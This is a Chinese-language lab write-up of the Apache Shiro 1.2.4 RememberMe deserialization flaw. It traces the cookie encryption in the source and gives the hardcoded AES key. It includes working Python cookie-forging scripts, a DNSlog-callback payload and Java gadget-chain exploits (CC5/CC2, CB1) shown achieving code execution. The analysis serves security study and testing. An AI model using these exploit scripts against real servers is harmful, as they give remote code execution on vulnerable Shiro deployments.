<1> Shiro介绍 Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理
Shiro反序列化原理: Apache Shiro框架提供了 RememberMe 功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。因此攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞
<2> 环境配置 shiro源码下载:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 war包地址:https://github.com/jas502n/SHIRO-550
jdk8u65
Tomcat 9
Shiro 1.2.4
配置tomcat:
tomcat的端口配置成 8081 这样后面用burp抓包时就不会冲突
启动tomcat 登录的 username 和 password 是 root 与 secret
我们登录时选择 Remember me 抓包
勾选 RememberMe 字段,登陆成功的话,返回包 set-Cookie 会有 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段
<3> 漏洞分析 我们在拿到这一 Cookie 的时候,很明显能够看到这是经过某种加密的。因为我们平常的 Cookie 都是比较短的,而 shiro RememberMe 字段的 Cookie 太长了
我们跟进去相关位置去看看Cookie的加密过程 在IDEA里 全局搜索 Cookie
shiro加密过程分析 入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法
这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看
这里会经一个 isRememberMe(token) 的判断 即判断cookie里是否存在rememberMe字段,True的话 调用rememberIdentity()方法
F7 步入 rememberIdentity() 方法,这里继续调用getIdentityToRemember(),作用就是获取用户名赋值给 principals
再回到 rememberIdentity() 方法,继续跟进this.rememberIdentity(subject, principals)
进入 convertPrincipalsToBytes() 方法,我们来看一下这个方法
它先对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt() 方法进行加密
跟进 看一下序列化的代码:
再跟进看一下 encrypt() 方法
调用了 this.getCipherService()方法 返回了一种 AES 的加密方式CBC
所以encrypt应该用的是AES加密算法 AES 是一种对称加密算法,有密钥
再次跟进 getEncryptionCipherKey() 看一下AES加密的密钥是怎么生成的
一步步往上找
再找一下哪里定义的 encryptionCipherKey
再往上找哪里调用了 setEncryptionCipherKey()方法,找到了setCipherkey()方法
AES加解密用的密钥是一样的 最终从构造函数这里找到了设置密钥的地方
这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES 是在类定义里面写好的常量
base64解密即可得到密钥
后续加密,会对序列化字节流和密钥常量传入 cipherService.encrypt 进行AES加密
返回加密的序列化字节流 到rememberIdentity()方法 下一步调用rememberSerializedIdentity()方法:
进行base64加密之后,存储到Cookie里 就得到了我们的rememberMe字段
这就是我们前面勾选rememberme的话,rememberMe字段的由来
shiro解密过程 由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt()进行加密,该类中也有对应的decrypt。那么在这里就可以用来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点
追溯到 AbstractRememberMeManager.convertBytesToPrincipals()
再追溯一下哪里调用了 convertBytesToPrincipals()方法 追溯到了 AbstractRememberMeManager.getRememberedPrincipals
从DefaultSecurityManager.getRememberedIdentity()开始分析
跟进 getRememberedPrincipals()方法
调用了 getRememberedSerializedIdentity() 方法
跟进重点看此方法
主要功能为:获取cookie中的rememberMe字段,判断值是否和DELETED_COOKIE_VALUE一致 即 deleteme不一致的话,则会再次判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回赋值给bytes
然后回到getRememberedPrincipals()方法,bytes不为null,因此调用 convertBytesToPrincipals()方法
调用decrypt进行解密,然后返回 deserialize(bytes); decrypt函数即为之前AES加密逆过程、AES解密函数 不再继续详细跟进查看
跟进 deserialize()方法 这里会调用 getSerializer().deserialize() 对我们 base64解密-AES解密后的rememberMe的值进行反序列化
跟进此函数,看一下deserialize()函数的实现,调用的是DefaultSerializer.deserialize()
调用了readObject()函数,并且前面我们得知 加解密密钥一样,所以如果我们知道加密密钥,就可以找链子、构造rememberMe为恶意序列化对象,在此处进行反序列化利用
<4> 漏洞利用 加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import base64import subprocessfrom Crypto.Cipher import AESdef rememberme (command ): popen = subprocess.Popen([r'java.exe路径' , '-jar' ,r'ysoserial路径' , 'URLDNS' ,command],stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = rememberme('http://wxafnplx.eyes.sh' ) print ("rememberMe={}" .format (payload.decode()))
(1) URLDNS链 注意 发包时如果登录过,要把sessionid去掉 否则会直接识别身份,而不会再去获取rememberMe
更改后再次发包,DNSlog处收到响应
(2) 利用CC2和CC4攻击(手动添加Commons-Collections 4.0依赖) 通过URLDNS链,我们验证成功存在反序列化漏洞 真正要利用的话,我们还是得去找一些可以rce的链子
我们看一下shiro自带的依赖,发现shiro中自带的是cc3.2.1版本的组件
所以我们会想到 可以利用CC6去打一下,弹一下计算器试试
利用加密脚本 + ysoserial生成CC6的payload 发送
并没有弹出计算器 看一下哪里出问题了
1 2 3 2023-07-27 19:26:43,928 WARN [org.apache.shiro.mgt.DefaultSecurityManager]: Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals(). org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array. at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
问题发生在org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:82)
我们来分析一下是什么原因: 这里我们直接看反序列化发生的点,第75行使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream
shiro中重写了ObjectInputStream类的resolveClass函数,ObjectInputStream的resolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象
而重写后的resolveClass方法,采用的是ClassUtils.forName
有什么区别呢???ClassUtils.forName不支持传入数组
具体为什么不支持传入数组可以参考:https://blog.zsxsoft.com/post/35
因此传入一个Transform数组的参数,会报错
而cc2和cc4的利用链都是基于javassist去实现的,而不是基于Transform数组。因此可以利用,而cc2和cc4需要Commons-Collections 4.0的依赖
(3) 拼凑CC攻击(shiro原生CC3.2.1利用) shiro是不自带Commons-Collections 4.0的依赖的,当然你遇到shiro的话也不可能自己去给他添加上去,那怎么办呢?没有Commons-Collections 4.0的组件就不能rce了吗?
其实方式还是有的,需要我们拼接一下各个CC链,去重新构造一下利用链
Transform数组用不了,即 利用链中的ChainedTransformer这个类利用不了,因为他的类属性iTransformers是数组类型的Transformers。
但是我们可以通过 InvokerTransformer.transform(templates) 去触发TemplatesImpl.newTransformer 进行恶意类加载rce
即利用CC2的后半段,我们来看一下CC2的调用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 PriorityQueue.readObject -> PriorityQueue.heapify() -> PriorityQueue.siftDown() -> PriorityQueue.siftDownUsingComparator() -> TransformingComparator.compare() ************************************************************* -> InvokerTransformer.transform() -> TemplatesImpl.newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass() -> Runtime.getRuntime().exec() *************************************************************
在这条链上,由于TransformingComparator在Commons-Collections 3.2.1的版本上还没有实现Serializable接口,其在3.2.1版本下是无法反序列化的。所以我们无法直接利用该payload来达到命令执行的目的
因此需要改造一下,哪里还有地方可以构造调用到 InvokerTransformer.transform() 并且使 参数为构造好的TemplatesImpl对象。
我们找到了 LazyMap.get()方法
其中map、factory、key我们都可以控制,那么我们就可以将将构造好的TemplatesImpl对象 赋值给key,factory给Invokertransformer。从而与CC2后半段串起来了。
至于 哪条链中间会调用了LazyMap.get()
CC1、CC5、CC6都可以,并且他们适于 Commons-Collections 3.2.1组件,因此可以构造出好几条链子
这里拿CC5开刀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC5_CC2_shiroexp { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"aaa" ); byte [] code = Files.readAllBytes(Paths.get("evil.class" )); byte [][] codes = {code}; setFieldValue(templates,"_bytecodes" ,codes); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,invokerTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (1 ); Class c = badAttributeValueExpException.getClass(); Field val = c.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); unserialize("CC5_CC2_shiroexp.bin" ); } public static void setFieldValue (Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true ); declaredField.set(object,filed_value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CC5_CC2_shiroexp.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
这里和上面还不同,这里序列化数据存储到了 .bin二进制文件,上面则是通过cmd 命令返回结果进行加密。
不过大体上差不多,稍微修改一下之前的python加密脚本
加密脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import base64import subprocessfrom Crypto.Cipher import AESdef bin2rememberme (filepath ): f = open (filepath,"rb" ) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(f.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) f.close() return base64_ciphertext if __name__ == '__main__' : payload = bin2rememberme(r".bin文件路径" ) print ("rememberMe={}" .format (payload.decode()))
成功弹出计算器
(4) 原生Commons-Beanutils1链攻击 其实shiro自带依赖里,我么不仅可以看到 Commons-Collections 3.2.1 还存在Commons-beanutils1.8.3
可以利用shiro自带的CB依赖 打CB链进行rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class CB1 { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"aaa" ); byte [] code = Files.readAllBytes(Paths.get("evil.class路径" )); byte [][] codes = {code}; setFieldValue(templates,"_bytecodes" ,codes); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); final BeanComparator comparator = new BeanComparator (); final PriorityQueue<Object> queue = new PriorityQueue <Object>(2 , comparator); queue.add("1" ); queue.add("1" ); setFieldValue(comparator, "property" , "outputProperties" ); setFieldValue(queue, "queue" , new Object []{templates, templates}); serialize(queue); unserialize("CB-bin/CB1.bin" ); } public static void setFieldValue (Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true ); declaredField.set(object,filed_value); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("CB-bin/CB1.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
生成构造好的CB1链的二进制文件后后,利用加密脚本 得到rememberMe字段对应值
发包,弹出计算器
注意:
我们打一下试试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import base64import subprocessfrom Crypto.Cipher import AESdef rememberme (command ): popen = subprocess.Popen([r'java.exe' , '-jar' ,r'ysoserial.jar' , 'CommonsCollections2' ,command],stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = b' ' * 16 encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = rememberme('calc' ) print ("rememberMe={}" .format (payload.decode()))
tomcat报错了 原因是序列化与反序列化时 serialVersionUID定义的不同
1 Caused by: java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
真相:版本问题 因为 yso 中 cb 版本为 1.9,而 shiro 自带为 1.8.3
参考:https://www.anquanke.com/post/id/192619#h2-3 https://blog.zsxsoft.com/post/35